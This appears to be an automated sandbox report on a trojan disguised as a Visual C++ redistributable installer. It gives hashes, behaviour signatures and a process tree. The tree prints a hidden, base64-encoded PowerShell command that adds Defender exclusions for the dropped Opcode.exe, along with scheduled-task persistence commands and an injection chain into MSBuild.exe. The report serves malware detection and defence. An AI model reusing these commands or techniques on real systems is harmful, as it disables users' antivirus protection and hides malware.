Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
02/10/2026, 12:16
Static task
static1
Behavioral task
behavioral1
Sample
VC_redist.x64.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
VC_redist.x64.exe
Resource
win11ltsc2024-20260911-en
General
- Target VC_redist.x64.exe
- Size 1.3MB
- Sample261002-pffftavyhx
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
- MD5 53f98f062b32a0c8f4a1ef829c9aa723
- SHA1 ce5811c89ab9c743e75aa0237840ee559507f290
- SHA512 c721b385a102b386f074598a031c56009d148ecb38047cc61ba39f45327b68d6e784fc2f6512ff829a5f9efabe6d8877b14077546f765c97cf88e34d91351151
- SSDEEP 24576:SmB+oAr42VQsrLAg0zL5QtTtIcy+kkar9B8vl1bY/VJ+ppbMyBrYTXC0jFz01tan:VcbbpLh0zTXL9CfWobBqZItg
- TLSH T1AA553353EF583BE2E8510BB0E5F38240A6F576C2CC1DA81E179B775A047230EA375A4B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2216 powershell.exe - Executes dropped EXE 3 IoCs
pid Process 5628 Opcode.exe 2852 Opcode.exe 5300 Opcode.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 4404 set thread context of 1608 4404 VC_redist.x64.exe 92 PID 2852 set thread context of 5300 2852 Opcode.exe 103 PID 5300 set thread context of 2320 5300 Opcode.exe 104 PID 2320 set thread context of 832 2320 MSBuild.exe 105 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname VC_redist.x64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname Opcode.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain VC_redist.x64.exe - System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VC_redist.x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language VC_redist.x64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language schtasks.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Opcode.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4308 schtasks.exe 5584 schtasks.exe - Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 4404 VC_redist.x64.exe 4404 VC_redist.x64.exe 4404 VC_redist.x64.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 5628 Opcode.exe 5628 Opcode.exe 5628 Opcode.exe 5628 Opcode.exe 2852 Opcode.exe 2852 Opcode.exe 2852 Opcode.exe 2320 MSBuild.exe 2320 MSBuild.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4404 VC_redist.x64.exe Token: SeDebugPrivilege 4404 VC_redist.x64.exe Token: SeDebugPrivilege 1608 VC_redist.x64.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeIncreaseQuotaPrivilege 2216 powershell.exe Token: SeSecurityPrivilege 2216 powershell.exe Token: SeTakeOwnershipPrivilege 2216 powershell.exe Token: SeLoadDriverPrivilege 2216 powershell.exe Token: SeSystemProfilePrivilege 2216 powershell.exe Token: SeSystemtimePrivilege 2216 powershell.exe Token: SeProfSingleProcessPrivilege 2216 powershell.exe Token: SeIncBasePriorityPrivilege 2216 powershell.exe Token: SeCreatePagefilePrivilege 2216 powershell.exe Token: SeBackupPrivilege 2216 powershell.exe Token: SeRestorePrivilege 2216 powershell.exe Token: SeShutdownPrivilege 2216 powershell.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeSystemEnvironmentPrivilege 2216 powershell.exe Token: SeRemoteShutdownPrivilege 2216 powershell.exe Token: SeUndockPrivilege 2216 powershell.exe Token: SeManageVolumePrivilege 2216 powershell.exe Token: 33 2216 powershell.exe Token: 34 2216 powershell.exe Token: 35 2216 powershell.exe Token: 36 2216 powershell.exe Token: SeIncreaseQuotaPrivilege 2216 powershell.exe Token: SeSecurityPrivilege 2216 powershell.exe Token: SeTakeOwnershipPrivilege 2216 powershell.exe Token: SeLoadDriverPrivilege 2216 powershell.exe Token: SeSystemProfilePrivilege 2216 powershell.exe Token: SeSystemtimePrivilege 2216 powershell.exe Token: SeProfSingleProcessPrivilege 2216 powershell.exe Token: SeIncBasePriorityPrivilege 2216 powershell.exe Token: SeCreatePagefilePrivilege 2216 powershell.exe Token: SeBackupPrivilege 2216 powershell.exe Token: SeRestorePrivilege 2216 powershell.exe Token: SeShutdownPrivilege 2216 powershell.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeSystemEnvironmentPrivilege 2216 powershell.exe Token: SeRemoteShutdownPrivilege 2216 powershell.exe Token: SeUndockPrivilege 2216 powershell.exe Token: SeManageVolumePrivilege 2216 powershell.exe Token: 33 2216 powershell.exe Token: 34 2216 powershell.exe Token: 35 2216 powershell.exe Token: 36 2216 powershell.exe Token: SeIncreaseQuotaPrivilege 2216 powershell.exe Token: SeSecurityPrivilege 2216 powershell.exe Token: SeTakeOwnershipPrivilege 2216 powershell.exe Token: SeLoadDriverPrivilege 2216 powershell.exe Token: SeSystemProfilePrivilege 2216 powershell.exe Token: SeSystemtimePrivilege 2216 powershell.exe Token: SeProfSingleProcessPrivilege 2216 powershell.exe Token: SeIncBasePriorityPrivilege 2216 powershell.exe Token: SeCreatePagefilePrivilege 2216 powershell.exe Token: SeBackupPrivilege 2216 powershell.exe Token: SeRestorePrivilege 2216 powershell.exe Token: SeShutdownPrivilege 2216 powershell.exe Token: SeDebugPrivilege 2216 powershell.exe Token: SeSystemEnvironmentPrivilege 2216 powershell.exe Token: SeRemoteShutdownPrivilege 2216 powershell.exe Token: SeUndockPrivilege 2216 powershell.exe Token: SeManageVolumePrivilege 2216 powershell.exe Token: 33 2216 powershell.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 4404 wrote to memory of 1608 4404 VC_redist.x64.exe 92 PID 4404 wrote to memory of 1608 4404 VC_redist.x64.exe 92 PID 4404 wrote to memory of 1608 4404 VC_redist.x64.exe 92 PID 4404 wrote to memory of 1608 4404 VC_redist.x64.exe 92 PID 4404 wrote to memory of 1608 4404 VC_redist.x64.exe 92 PID 1608 wrote to memory of 5584 1608 VC_redist.x64.exe 93 PID 1608 wrote to memory of 4308 1608 VC_redist.x64.exe 98 PID 2852 wrote to memory of 5300 2852 Opcode.exe 103 PID 2852 wrote to memory of 5300 2852 Opcode.exe 103 PID 2852 wrote to memory of 5300 2852 Opcode.exe 103 PID 2852 wrote to memory of 5300 2852 Opcode.exe 103 PID 2852 wrote to memory of 5300 2852 Opcode.exe 103 PID 5300 wrote to memory of 2320 5300 Opcode.exe 104 PID 5300 wrote to memory of 2320 5300 Opcode.exe 104 PID 5300 wrote to memory of 2320 5300 Opcode.exe 104 PID 5300 wrote to memory of 2320 5300 Opcode.exe 104 PID 5300 wrote to memory of 2320 5300 Opcode.exe 104 PID 2320 wrote to memory of 832 2320 MSBuild.exe 105 PID 2320 wrote to memory of 832 2320 MSBuild.exe 105 PID 2320 wrote to memory of 832 2320 MSBuild.exe 105 PID 2320 wrote to memory of 832 2320 MSBuild.exe 105 PID 2320 wrote to memory of 832 2320 MSBuild.exe 105
Processes
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C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"1⤵
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4404 -
C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"2⤵
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1608 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "ncppwrhog" /XML "C:\Users\Admin\AppData\Local\Temp\1ea329bb1eee4d66aac4a495abb2a1c5.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:5584
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\981ae531115c44e5ad8ad42808d4af45.xml" /F3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:4308
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAdABtAHEAeQB4AFwATwBwAGMAbwBkAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AcABhAGcAYQB0AGkAbwBuAEYAbABhAGcAcwBcAHQAbQBxAHkAeABcAE8AcABjAG8AZABlAC4AZQB4AGUAOwA=1⤵
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2216
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C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exeC:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:5628
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C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5300 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2320 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
PID:832
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
- Size 1.3MB
- SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
- MD5 53f98f062b32a0c8f4a1ef829c9aa723
- SHA1 ce5811c89ab9c743e75aa0237840ee559507f290
- SHA512 c721b385a102b386f074598a031c56009d148ecb38047cc61ba39f45327b68d6e784fc2f6512ff829a5f9efabe6d8877b14077546f765c97cf88e34d91351151
- SSDEEP 24576:SmB+oAr42VQsrLAg0zL5QtTtIcy+kkar9B8vl1bY/VJ+ppbMyBrYTXC0jFz01tan:VcbbpLh0zTXL9CfWobBqZItg
- TLSH T1AA553353EF583BE2E8510BB0E5F38240A6F576C2CC1DA81E179B775A047230EA375A4B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\1ea329bb1eee4d66aac4a495abb2a1c5.xml
- Size 2KB
- SHA256 8b94541e7a161b14baec2ecb3d365e3830d85e965e940566e8870e4c390c89b2
- MD5 1e50ba4de6a81218bda31ff2286f7397
- SHA1 87d758d6749572effa587d5318d46f7cc6fdd01a
- SHA512 4120d44502c2ccef2f83627f347a1fe8ac1a2287e4647d36a6e9d1a0ad892edc64578ada866dffa2df7a9a86903f0c440e283c259830da46957863a8d7585eea
- TLSH T1DF412229DDD0F186013E713DD2511E43AA525B635B760438F88C0A3B2FB9686D74769E
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\981ae531115c44e5ad8ad42808d4af45.xml
- Size 1KB
- SHA256 85f4e999df66dbaa2ee7955b4bc61279e0b94b9d49f66d40891207bbf190c705
- MD5 90082b23e4e7946e554196508421916e
- SHA1 991617dd1b3cef6bb540024e5efcec0c7b134cb2
- SHA512 5040636f71ed26bfac6936582cc64eaf8b7c26893134f7b0878969ea5a4ef78ed56debdfff298ccd59b0735f9fb945985723171e76e20a3ffcc07a275b25e65d
- TLSH T1E831CD6598C0B60B6537463AD7914682FF3387A30AA70039F5CC473F2FBA5866143A2B
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efs04bib.cru.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH